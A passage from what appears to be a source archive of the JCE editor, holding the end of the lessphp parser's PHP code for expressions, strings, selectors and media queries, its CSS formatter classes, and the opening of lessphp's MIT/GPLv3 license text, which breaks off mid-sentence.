        while ($this->expression($exp)) {
            $values[] = $exp;
        }

        if (count($values) == 0) return false;

        $exps = lessc::compressList($values, ' ');
        return true;
    }

    /**
     * Attempt to consume an expression.
     * @link http://en.wikipedia.org/wiki/Operator-precedence_parser#Pseudo-code
     */
    protected function expression(&$out) {
        if ($this->value($lhs)) {
            $out = $this->expHelper($lhs, 0);

            // look for / shorthand
            if (!empty($this->env->supressedDivision)) {
                unset($this->env->supressedDivision);
                $s = $this->seek();
                if ($this->literal("/") && $this->value($rhs)) {
                    $out = array("list", "",
                        array($out, array("keyword", "/"), $rhs));
                } else {
                    $this->seek($s);
                }
            }

            return true;
        }
        return false;
    }

    /**
     * recursively parse infix equation with $lhs at precedence $minP
     */
    protected function expHelper($lhs, $minP) {
        $this->inExp = true;
        $ss = $this->seek();

        while (true) {
            $whiteBefore = isset($this->buffer[$this->count - 1]) &&
                ctype_space($this->buffer[$this->count - 1]);

            // If there is whitespace before the operator, then we require
            // whitespace after the operator for it to be an expression
            $needWhite = $whiteBefore && !$this->inParens;

            if ($this->match(self::$operatorString.($needWhite ? '\s' : ''), $m) && self::$precedence[$m[1]] >= $minP) {
                if (!$this->inParens && isset($this->env->currentProperty) && $m[1] == "/" && empty($this->env->supressedDivision)) {
                    foreach (self::$supressDivisionProps as $pattern) {
                        if (preg_match($pattern, $this->env->currentProperty)) {
                            $this->env->supressedDivision = true;
                            break 2;
                        }
                    }
                }


                $whiteAfter = isset($this->buffer[$this->count - 1]) &&
                    ctype_space($this->buffer[$this->count - 1]);

                if (!$this->value($rhs)) break;

                // peek for next operator to see what to do with rhs
                if ($this->peek(self::$operatorString, $next) && self::$precedence[$next[1]] > self::$precedence[$m[1]]) {
                    $rhs = $this->expHelper($rhs, self::$precedence[$next[1]]);
                }

                $lhs = array('expression', $m[1], $lhs, $rhs, $whiteBefore, $whiteAfter);
                $ss = $this->seek();

                continue;
            }

            break;
        }

        $this->seek($ss);

        return $lhs;
    }

    // consume a list of values for a property
    public function propertyValue(&$value, $keyName = null) {
        $values = array();

        if ($keyName !== null) $this->env->currentProperty = $keyName;

        $s = null;
        while ($this->expressionList($v)) {
            $values[] = $v;
            $s = $this->seek();
            if (!$this->literal(',')) break;
        }

        if ($s) $this->seek($s);

        if ($keyName !== null) unset($this->env->currentProperty);

        if (count($values) == 0) return false;

        $value = lessc::compressList($values, ', ');
        return true;
    }

    protected function parenValue(&$out) {
        $s = $this->seek();

        // speed shortcut
        if (isset($this->buffer[$this->count]) && $this->buffer[$this->count] != "(") {
            return false;
        }

        $inParens = $this->inParens;
        if ($this->literal("(") &&
            ($this->inParens = true) && $this->expression($exp) &&
            $this->literal(")")
        ) {
            $out = $exp;
            $this->inParens = $inParens;
            return true;
        } else {
            $this->inParens = $inParens;
            $this->seek($s);
        }

        return false;
    }

    // a single value
    protected function value(&$value) {
        $s = $this->seek();

        // speed shortcut
        if (isset($this->buffer[$this->count]) && $this->buffer[$this->count] == "-") {
            // negation
            if ($this->literal("-", false) &&
                (($this->variable($inner) && $inner = array("variable", $inner)) ||
                $this->unit($inner) ||
                $this->parenValue($inner))
            ) {
                $value = array("unary", "-", $inner);
                return true;
            } else {
                $this->seek($s);
            }
        }

        if ($this->parenValue($value)) return true;
        if ($this->unit($value)) return true;
        if ($this->color($value)) return true;
        if ($this->func($value)) return true;
        if ($this->string($value)) return true;

        if ($this->keyword($word)) {
            $value = array('keyword', $word);
            return true;
        }

        // try a variable
        if ($this->variable($var)) {
            $value = array('variable', $var);
            return true;
        }

        // unquote string (should this work on any type?
        if ($this->literal("~") && $this->string($str)) {
            $value = array("escape", $str);
            return true;
        } else {
            $this->seek($s);
        }

        // css hack: \0
        if ($this->literal('\\') && $this->match('([0-9]+)', $m)) {
            $value = array('keyword', '\\'.$m[1]);
            return true;
        } else {
            $this->seek($s);
        }

        return false;
    }

    // an import statement
    protected function import(&$out) {
        if (!$this->literal('@import')) return false;

        // @import "something.css" media;
        // @import url("something.css") media;
        // @import url(something.css) media;

        if ($this->propertyValue($value)) {
            $out = array("import", $value);
            return true;
        }
    }

    protected function mediaQueryList(&$out) {
        if ($this->genericList($list, "mediaQuery", ",", false)) {
            $out = $list[2];
            return true;
        }
        return false;
    }

    protected function mediaQuery(&$out) {
        $s = $this->seek();

        $expressions = null;
        $parts = array();

        if (($this->literal("only") && ($only = true) || $this->literal("not") && ($not = true) || true) && $this->keyword($mediaType)) {
            $prop = array("mediaType");
            if (isset($only)) $prop[] = "only";
            if (isset($not)) $prop[] = "not";
            $prop[] = $mediaType;
            $parts[] = $prop;
        } else {
            $this->seek($s);
        }


        if (!empty($mediaType) && !$this->literal("and")) {
            // ~
        } else {
            $this->genericList($expressions, "mediaExpression", "and", false);
            if (is_array($expressions)) $parts = array_merge($parts, $expressions[2]);
        }

        if (count($parts) == 0) {
            $this->seek($s);
            return false;
        }

        $out = $parts;
        return true;
    }

    protected function mediaExpression(&$out) {
        $s = $this->seek();
        $value = null;
        if ($this->literal("(") &&
            $this->keyword($feature) &&
            ($this->literal(":") && $this->expression($value) || true) &&
            $this->literal(")")
        ) {
            $out = array("mediaExp", $feature);
            if ($value) $out[] = $value;
            return true;
        } elseif ($this->variable($variable)) {
            $out = array('variable', $variable);
            return true;
        }

        $this->seek($s);
        return false;
    }

    // an unbounded string stopped by $end
    protected function openString($end, &$out, $nestingOpen=null, $rejectStrs = null) {
        $oldWhite = $this->eatWhiteDefault;
        $this->eatWhiteDefault = false;

        $stop = array("'", '"', "@{", $end);
        $stop = array_map(array("lessc", "preg_quote"), $stop);
        // $stop[] = self::$commentMulti;

        if (!is_null($rejectStrs)) {
            $stop = array_merge($stop, $rejectStrs);
        }

        $patt = '(.*?)('.implode("|", $stop).')';

        $nestingLevel = 0;

        $content = array();
        while ($this->match($patt, $m, false)) {
            if (!empty($m[1])) {
                $content[] = $m[1];
                if ($nestingOpen) {
                    $nestingLevel += substr_count($m[1], $nestingOpen);
                }
            }

            $tok = $m[2];

            $this->count-= strlen($tok);
            if ($tok == $end) {
                if ($nestingLevel == 0) {
                    break;
                } else {
                    $nestingLevel--;
                }
            }

            if (($tok == "'" || $tok == '"') && $this->string($str)) {
                $content[] = $str;
                continue;
            }

            if ($tok == "@{" && $this->interpolation($inter)) {
                $content[] = $inter;
                continue;
            }

            if (!empty($rejectStrs) && in_array($tok, $rejectStrs)) {
                break;
            }

            $content[] = $tok;
            $this->count+= strlen($tok);
        }

        $this->eatWhiteDefault = $oldWhite;

        if (count($content) == 0) return false;

        // trim the end
        if (is_string(end($content))) {
            $content[count($content) - 1] = rtrim(end($content));
        }

        $out = array("string", "", $content);
        return true;
    }

    protected function string(&$out) {
        $s = $this->seek();
        if ($this->literal('"', false)) {
            $delim = '"';
        } elseif ($this->literal("'", false)) {
            $delim = "'";
        } else {
            return false;
        }

        $content = array();

        // look for either ending delim , escape, or string interpolation
        $patt = '([^\n]*?)(@\{|\\\\|' .
            lessc::preg_quote($delim).')';

        $oldWhite = $this->eatWhiteDefault;
        $this->eatWhiteDefault = false;

        while ($this->match($patt, $m, false)) {
            $content[] = $m[1];
            if ($m[2] == "@{") {
                $this->count -= strlen($m[2]);
                if ($this->interpolation($inter, false)) {
                    $content[] = $inter;
                } else {
                    $this->count += strlen($m[2]);
                    $content[] = "@{"; // ignore it
                }
            } elseif ($m[2] == '\\') {
                $content[] = $m[2];
                if ($this->literal($delim, false)) {
                    $content[] = $delim;
                }
            } else {
                $this->count -= strlen($delim);
                break; // delim
            }
        }

        $this->eatWhiteDefault = $oldWhite;

        if ($this->literal($delim)) {
            $out = array("string", $delim, $content);
            return true;
        }

        $this->seek($s);
        return false;
    }

    protected function interpolation(&$out) {
        $oldWhite = $this->eatWhiteDefault;
        $this->eatWhiteDefault = true;

        $s = $this->seek();
        if ($this->literal("@{") &&
            $this->openString("}", $interp, null, array("'", '"', ";")) &&
            $this->literal("}", false)
        ) {
            $out = array("interpolate", $interp);
            $this->eatWhiteDefault = $oldWhite;
            if ($this->eatWhiteDefault) $this->whitespace();
            return true;
        }

        $this->eatWhiteDefault = $oldWhite;
        $this->seek($s);
        return false;
    }

    protected function unit(&$unit) {
        // speed shortcut
        if (isset($this->buffer[$this->count])) {
            $char = $this->buffer[$this->count];
            if (!ctype_digit($char) && $char != ".") return false;
        }

        if ($this->match('([0-9]+(?:\.[0-9]*)?|\.[0-9]+)([%a-zA-Z]+)?', $m)) {
            $unit = array("number", $m[1], empty($m[2]) ? "" : $m[2]);
            return true;
        }
        return false;
    }

    // a # color
    protected function color(&$out) {
        if ($this->match('(#(?:[0-9a-f]{8}|[0-9a-f]{6}|[0-9a-f]{3}))', $m)) {
            if (strlen($m[1]) > 7) {
                $out = array("string", "", array($m[1]));
            } else {
                $out = array("raw_color", $m[1]);
            }
            return true;
        }

        return false;
    }

    // consume an argument definition list surrounded by ()
    // each argument is a variable name with optional value
    // or at the end a ... or a variable named followed by ...
    // arguments are separated by , unless a ; is in the list, then ; is the
    // delimiter.
    protected function argumentDef(&$args, &$isVararg) {
        $s = $this->seek();
        if (!$this->literal('(')) {
            return false;
        }

        $values = array();
        $delim = ",";
        $method = "expressionList";

        $isVararg = false;
        while (true) {
            if ($this->literal("...")) {
                $isVararg = true;
                break;
            }

            if ($this->$method($value)) {
                if ($value[0] == "variable") {
                    $arg = array("arg", $value[1]);
                    $ss = $this->seek();

                    if ($this->assign() && $this->$method($rhs)) {
                        $arg[] = $rhs;
                    } else {
                        $this->seek($ss);
                        if ($this->literal("...")) {
                            $arg[0] = "rest";
                            $isVararg = true;
                        }
                    }

                    $values[] = $arg;
                    if ($isVararg) {
                        break;
                    }
                    continue;
                } else {
                    $values[] = array("lit", $value);
                }
            }


            if (!$this->literal($delim)) {
                if ($delim == "," && $this->literal(";")) {
                    // found new delim, convert existing args
                    $delim = ";";
                    $method = "propertyValue";

                    // transform arg list
                    if (isset($values[1])) { // 2 items
                        $newList = array();
                        foreach ($values as $i => $arg) {
                            switch ($arg[0]) {
                            case "arg":
                                if ($i) {
                                    $this->throwError("Cannot mix ; and , as delimiter types");
                                }
                                $newList[] = $arg[2];
                                break;
                            case "lit":
                                $newList[] = $arg[1];
                                break;
                            case "rest":
                                $this->throwError("Unexpected rest before semicolon");
                            }
                        }

                        $newList = array("list", ", ", $newList);

                        switch ($values[0][0]) {
                        case "arg":
                            $newArg = array("arg", $values[0][1], $newList);
                            break;
                        case "lit":
                            $newArg = array("lit", $newList);
                            break;
                        }

                    } elseif ($values) { // 1 item
                        $newArg = $values[0];
                    }

                    if ($newArg) {
                        $values = array($newArg);
                    }
                } else {
                    break;
                }
            }
        }

        if (!$this->literal(')')) {
            $this->seek($s);
            return false;
        }

        $args = $values;

        return true;
    }

    // consume a list of tags
    // this accepts a hanging delimiter
    protected function tags(&$tags, $simple = false, $delim = ',') {
        $tags = array();
        while ($this->tag($tt, $simple)) {
            $tags[] = $tt;
            if (!$this->literal($delim)) break;
        }
        if (count($tags) == 0) return false;

        return true;
    }

    // list of tags of specifying mixin path
    // optionally separated by > (lazy, accepts extra >)
    protected function mixinTags(&$tags) {
        $tags = array();
        while ($this->tag($tt, true)) {
            $tags[] = $tt;
            $this->literal(">");
        }

        if (!$tags) {
            return false;
        }

        return true;
    }

    // a bracketed value (contained within in a tag definition)
    protected function tagBracket(&$parts, &$hasExpression) {
        // speed shortcut
        if (isset($this->buffer[$this->count]) && $this->buffer[$this->count] != "[") {
            return false;
        }

        $s = $this->seek();

        $hasInterpolation = false;

        if ($this->literal("[", false)) {
            $attrParts = array("[");
            // keyword, string, operator
            while (true) {
                if ($this->literal("]", false)) {
                    $this->count--;
                    break; // get out early
                }

                if ($this->match('\s+', $m)) {
                    $attrParts[] = " ";
                    continue;
                }
                if ($this->string($str)) {
                    // escape parent selector, (yuck)
                    foreach ($str[2] as &$chunk) {
                        $chunk = str_replace($this->lessc->parentSelector, "$&$", $chunk);
                    }

                    $attrParts[] = $str;
                    $hasInterpolation = true;
                    continue;
                }

                if ($this->keyword($word)) {
                    $attrParts[] = $word;
                    continue;
                }

                if ($this->interpolation($inter, false)) {
                    $attrParts[] = $inter;
                    $hasInterpolation = true;
                    continue;
                }

                // operator, handles attr namespace too
                if ($this->match('[|-~\$\*\^=]+', $m)) {
                    $attrParts[] = $m[0];
                    continue;
                }

                break;
            }

            if ($this->literal("]", false)) {
                $attrParts[] = "]";
                foreach ($attrParts as $part) {
                    $parts[] = $part;
                }
                $hasExpression = $hasExpression || $hasInterpolation;
                return true;
            }
            $this->seek($s);
        }

        $this->seek($s);
        return false;
    }

    // a space separated list of selectors
    protected function tag(&$tag, $simple = false) {
        if ($simple) {
            $chars = '^@,:;{}\][>\(\) "\'';
        } else {
            $chars = '^@,;{}["\'';
        }
        $s = $this->seek();

        $hasExpression = false;
        $parts = array();
        while ($this->tagBracket($parts, $hasExpression));

        $oldWhite = $this->eatWhiteDefault;
        $this->eatWhiteDefault = false;

        while (true) {
            if ($this->match('(['.$chars.'0-9]['.$chars.']*)', $m)) {
                $parts[] = $m[1];
                if ($simple) break;

                while ($this->tagBracket($parts, $hasExpression));
                continue;
            }

            if (isset($this->buffer[$this->count]) && $this->buffer[$this->count] == "@") {
                if ($this->interpolation($interp)) {
                    $hasExpression = true;
                    $interp[2] = true; // don't unescape
                    $parts[] = $interp;
                    continue;
                }

                if ($this->literal("@")) {
                    $parts[] = "@";
                    continue;
                }
            }

            if ($this->unit($unit)) { // for keyframes
                $parts[] = $unit[1];
                $parts[] = $unit[2];
                continue;
            }

            break;
        }

        $this->eatWhiteDefault = $oldWhite;
        if (!$parts) {
            $this->seek($s);
            return false;
        }

        if ($hasExpression) {
            $tag = array("exp", array("string", "", $parts));
        } else {
            $tag = trim(implode($parts));
        }

        $this->whitespace();
        return true;
    }

    // a css function
    protected function func(&$func) {
        $s = $this->seek();

        if ($this->match('(%|[\w\-_][\w\-_:\.]+|[\w_])', $m) && $this->literal('(')) {
            $fname = $m[1];

            $sPreArgs = $this->seek();

            $args = array();
            while (true) {
                $ss = $this->seek();
                // this ugly nonsense is for ie filter properties
                if ($this->keyword($name) && $this->literal('=') && $this->expressionList($value)) {
                    $args[] = array("string", "", array($name, "=", $value));
                } else {
                    $this->seek($ss);
                    if ($this->expressionList($value)) {
                        $args[] = $value;
                    }
                }

                if (!$this->literal(',')) break;
            }
            $args = array('list', ',', $args);

            if ($this->literal(')')) {
                $func = array('function', $fname, $args);
                return true;
            } elseif ($fname == 'url') {
                // couldn't parse and in url? treat as string
                $this->seek($sPreArgs);
                if ($this->openString(")", $string) && $this->literal(")")) {
                    $func = array('function', $fname, $string);
                    return true;
                }
            }
        }

        $this->seek($s);
        return false;
    }

    // consume a less variable
    protected function variable(&$name) {
        $s = $this->seek();
        if ($this->literal($this->lessc->vPrefix, false) &&
            ($this->variable($sub) || $this->keyword($name))
        ) {
            if (!empty($sub)) {
                $name = array('variable', $sub);
            } else {
                $name = $this->lessc->vPrefix.$name;
            }
            return true;
        }

        $name = null;
        $this->seek($s);
        return false;
    }

    /**
     * Consume an assignment operator
     * Can optionally take a name that will be set to the current property name
     */
    protected function assign($name = null) {
        if ($name) $this->currentProperty = $name;
        return $this->literal(':') || $this->literal('=');
    }

    // consume a keyword
    protected function keyword(&$word) {
        if ($this->match('([\w_\-\*!"][\w\-_"]*)', $m)) {
            $word = $m[1];
            return true;
        }
        return false;
    }

    // consume an end of statement delimiter
    protected function end() {
        if ($this->literal(';', false)) {
            return true;
        } elseif ($this->count == strlen($this->buffer) || $this->buffer[$this->count] == '}') {
            // if there is end of file or a closing block next then we don't need a ;
            return true;
        }
        return false;
    }

    protected function guards(&$guards) {
        $s = $this->seek();

        if (!$this->literal("when")) {
            $this->seek($s);
            return false;
        }

        $guards = array();

        while ($this->guardGroup($g)) {
            $guards[] = $g;
            if (!$this->literal(",")) break;
        }

        if (count($guards) == 0) {
            $guards = null;
            $this->seek($s);
            return false;
        }

        return true;
    }

    // a bunch of guards that are and'd together
    // TODO rename to guardGroup
    protected function guardGroup(&$guardGroup) {
        $s = $this->seek();
        $guardGroup = array();
        while ($this->guard($guard)) {
            $guardGroup[] = $guard;
            if (!$this->literal("and")) break;
        }

        if (count($guardGroup) == 0) {
            $guardGroup = null;
            $this->seek($s);
            return false;
        }

        return true;
    }

    protected function guard(&$guard) {
        $s = $this->seek();
        $negate = $this->literal("not");

        if ($this->literal("(") && $this->expression($exp) && $this->literal(")")) {
            $guard = $exp;
            if ($negate) $guard = array("negate", $guard);
            return true;
        }

        $this->seek($s);
        return false;
    }

    /* raw parsing functions */

    protected function literal($what, $eatWhitespace = null) {
        if ($eatWhitespace === null) $eatWhitespace = $this->eatWhiteDefault;

        // shortcut on single letter
        if (!isset($what[1]) && isset($this->buffer[$this->count])) {
            if ($this->buffer[$this->count] == $what) {
                if (!$eatWhitespace) {
                    $this->count++;
                    return true;
                }
                // goes below...
            } else {
                return false;
            }
        }

        if (!isset(self::$literalCache[$what])) {
            self::$literalCache[$what] = lessc::preg_quote($what);
        }

        return $this->match(self::$literalCache[$what], $m, $eatWhitespace);
    }

    protected function genericList(&$out, $parseItem, $delim="", $flatten=true) {
        $s = $this->seek();
        $items = array();
        while ($this->$parseItem($value)) {
            $items[] = $value;
            if ($delim) {
                if (!$this->literal($delim)) break;
            }
        }

        if (count($items) == 0) {
            $this->seek($s);
            return false;
        }

        if ($flatten && count($items) == 1) {
            $out = $items[0];
        } else {
            $out = array("list", $delim, $items);
        }

        return true;
    }


    // advance counter to next occurrence of $what
    // $until - don't include $what in advance
    // $allowNewline, if string, will be used as valid char set
    protected function to($what, &$out, $until = false, $allowNewline = false) {
        if (is_string($allowNewline)) {
            $validChars = $allowNewline;
        } else {
            $validChars = $allowNewline ? "." : "[^\n]";
        }
        if (!$this->match('('.$validChars.'*?)'.lessc::preg_quote($what), $m, !$until)) return false;
        if ($until) $this->count -= strlen($what); // give back $what
        $out = $m[1];
        return true;
    }

    // try to match something on head of buffer
    protected function match($regex, &$out, $eatWhitespace = null) {
        if ($eatWhitespace === null) $eatWhitespace = $this->eatWhiteDefault;

        $r = '/'.$regex.($eatWhitespace && !$this->writeComments ? '\s*' : '').'/Ais';
        if (preg_match($r, $this->buffer, $out, null, $this->count)) {
            $this->count += strlen($out[0]);
            if ($eatWhitespace && $this->writeComments) $this->whitespace();
            return true;
        }
        return false;
    }

    // match some whitespace
    protected function whitespace() {
        if ($this->writeComments) {
            $gotWhite = false;
            while (preg_match(self::$whitePattern, $this->buffer, $m, null, $this->count)) {
                if (isset($m[1]) && empty($this->seenComments[$this->count])) {
                    $this->append(array("comment", $m[1]));
                    $this->seenComments[$this->count] = true;
                }
                $this->count += strlen($m[0]);
                $gotWhite = true;
            }
            return $gotWhite;
        } else {
            $this->match("", $m);
            return strlen($m[0]) > 0;
        }
    }

    // match something without consuming it
    protected function peek($regex, &$out = null, $from=null) {
        if (is_null($from)) $from = $this->count;
        $r = '/'.$regex.'/Ais';
        $result = preg_match($r, $this->buffer, $out, null, $from);

        return $result;
    }

    // seek to a spot in the buffer or return where we are on no argument
    protected function seek($where = null) {
        if ($where === null) return $this->count;
        else $this->count = $where;
        return true;
    }

    /* misc functions */

    public function throwError($msg = "parse error", $count = null) {
        $count = is_null($count) ? $this->count : $count;

        $line = $this->line +
            substr_count(substr($this->buffer, 0, $count), "\n");

        if (!empty($this->sourceName)) {
            $loc = "$this->sourceName on line $line";
        } else {
            $loc = "line: $line";
        }

        // TODO this depends on $this->count
        if ($this->peek("(.*?)(\n|$)", $m, $count)) {
            throw new exception("$msg: failed at `$m[1]` $loc");
        } else {
            throw new exception("$msg: $loc");
        }
    }

    protected function pushBlock($selectors=null, $type=null) {
        $b = new stdclass;
        $b->parent = $this->env;

        $b->type = $type;
        $b->id = self::$nextBlockId++;

        $b->isVararg = false; // TODO: kill me from here
        $b->tags = $selectors;

        $b->props = array();
        $b->children = array();

        $this->env = $b;
        return $b;
    }

    // push a block that doesn't multiply tags
    protected function pushSpecialBlock($type) {
        return $this->pushBlock(null, $type);
    }

    // append a property to the current block
    protected function append($prop, $pos = null) {
        if ($pos !== null) $prop[-1] = $pos;
        $this->env->props[] = $prop;
    }

    // pop something off the stack
    protected function pop() {
        $old = $this->env;
        $this->env = $this->env->parent;
        return $old;
    }

    // remove comments from $text
    // todo: make it work for all functions, not just url
    protected function removeComments($text) {
        $look = array(
            'url(', '//', '/*', '"', "'"
        );

        $out = '';
        $min = null;
        while (true) {
            // find the next item
            foreach ($look as $token) {
                $pos = strpos($text, $token);
                if ($pos !== false) {
                    if (!isset($min) || $pos < $min[1]) $min = array($token, $pos);
                }
            }

            if (is_null($min)) break;

            $count = $min[1];
            $skip = 0;
            $newlines = 0;
            switch ($min[0]) {
            case 'url(':
                if (preg_match('/url\(.*?\)/', $text, $m, 0, $count))
                    $count += strlen($m[0]) - strlen($min[0]);
                break;
            case '"':
            case "'":
                if (preg_match('/'.$min[0].'.*?(?<!\\\\)'.$min[0].'/', $text, $m, 0, $count))
                    $count += strlen($m[0]) - 1;
                break;
            case '//':
                $skip = strpos($text, "\n", $count);
                if ($skip === false) $skip = strlen($text) - $count;
                else $skip -= $count;
                break;
            case '/*':
                if (preg_match('/\/\*.*?\*\//s', $text, $m, 0, $count)) {
                    $skip = strlen($m[0]);
                    $newlines = substr_count($m[0], "\n");
                }
                break;
            }

            if ($skip == 0) $count += strlen($min[0]);

            $out .= substr($text, 0, $count).str_repeat("\n", $newlines);
            $text = substr($text, $count + $skip);

            $min = null;
        }

        return $out.$text;
    }

}

class lessc_formatter_classic {
    public $indentChar = "  ";

    public $break = "\n";
    public $open = " {";
    public $close = "}";
    public $selectorSeparator = ", ";
    public $assignSeparator = ":";

    public $openSingle = " { ";
    public $closeSingle = " }";

    public $disableSingle = false;
    public $breakSelectors = false;

    public $compressColors = false;

    public function __construct() {
        $this->indentLevel = 0;
    }

    public function indentStr($n = 0) {
        return str_repeat($this->indentChar, max($this->indentLevel + $n, 0));
    }

    public function property($name, $value) {
        return $name . $this->assignSeparator . $value . ";";
    }

    protected function isEmpty($block) {
        if (empty($block->lines)) {
            foreach ($block->children as $child) {
                if (!$this->isEmpty($child)) return false;
            }

            return true;
        }
        return false;
    }

    public function block($block) {
        if ($this->isEmpty($block)) return;

        $inner = $pre = $this->indentStr();

        $isSingle = !$this->disableSingle &&
            is_null($block->type) && count($block->lines) == 1;

        if (!empty($block->selectors)) {
            $this->indentLevel++;

            if ($this->breakSelectors) {
                $selectorSeparator = $this->selectorSeparator . $this->break . $pre;
            } else {
                $selectorSeparator = $this->selectorSeparator;
            }

            echo $pre .
                implode($selectorSeparator, $block->selectors);
            if ($isSingle) {
                echo $this->openSingle;
                $inner = "";
            } else {
                echo $this->open . $this->break;
                $inner = $this->indentStr();
            }

        }

        if (!empty($block->lines)) {
            $glue = $this->break.$inner;
            echo $inner . implode($glue, $block->lines);
            if (!$isSingle && !empty($block->children)) {
                echo $this->break;
            }
        }

        foreach ($block->children as $child) {
            $this->block($child);
        }

        if (!empty($block->selectors)) {
            if (!$isSingle && empty($block->children)) echo $this->break;

            if ($isSingle) {
                echo $this->closeSingle . $this->break;
            } else {
                echo $pre . $this->close . $this->break;
            }

            $this->indentLevel--;
        }
    }
}

class lessc_formatter_compressed extends lessc_formatter_classic {
    public $disableSingle = true;
    public $open = "{";
    public $selectorSeparator = ",";
    public $assignSeparator = ":";
    public $break = "";
    public $compressColors = true;

    public function indentStr($n = 0) {
        return "";
    }
}

class lessc_formatter_lessjs extends lessc_formatter_classic {
    public $disableSingle = true;
    public $breakSelectors = true;
    public $assignSeparator = ": ";
    public $selectorSeparator = ",";
}
com_jce/editor/libraries/classes/vendor/lessphp/LICENSE000060400000101551152453734450017035 0ustar00For ease of distribution, lessphp is under a dual license.
You are free to pick which one suits your needs.




MIT LICENSE




Copyright (c) 2014 Leaf Corcoran, http://leafo.net/lessphp

Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:

The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.




GPL VERSION 3




					GNU GENERAL PUBLIC LICENSE
                       Version 3, 29 June 2007

 Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

                            Preamble

  The GNU General Public License is a free, copyleft license for
software and other kinds of works.

  The licenses for most software and other practical works are designed
to take away your freedom to share and change the works.  By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users.  We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors.  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.

  To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights.  Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received.  You must make sure that they, too, receive
or can get the source code.  And you must show them these terms so they
know their rights.

  Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.

  For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software.  For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.

  Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so.  This is fundamentally incompatible with the aim of
protecting users' freedom to change the software.  The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable.  Therefore, we
have designed this version of the GPL to prohibit the practice for those
products.  If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.

  Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary.  To prevent this, the GPL assures that
patents cannot be used to render the program non-free.

  The precise terms and conditions for copying, distribution and
modification follow.

                       TERMS AND CONDITIONS

  0. Definitions.

  "This License" refers to version 3 of the GNU General Public License.

  "Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.

  "The Program" refers to any copyrightable work licensed under this
License.  Each licensee is addressed as "you".  "Licensees" and
"recipients" may be individuals or organizations.

  To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy.  The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.

  A "covered work" means either the unmodified Program or a work based
on the Program.

  To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy.  Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.

  To "convey" a work means any kind of propagation that enables other
parties to make or receive copies.  Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.

  An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License.  If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.

  1. Source Code.

  The "source code" for a work means the preferred form of the work
for making modifications to it.  "Object code" means any non-source
form of a work.

  A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.

  The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form.  A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.

  The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities.  However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work.  For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.

  The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.

  The Corresponding Source for a work in source code form is that
same work.

  2. Basic Permissions.

  All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met.  This License explicitly affirms your unlimited
permission to run the unmodified Program.  The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work.  This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.

  You may make, run and propagate covered works that you do not
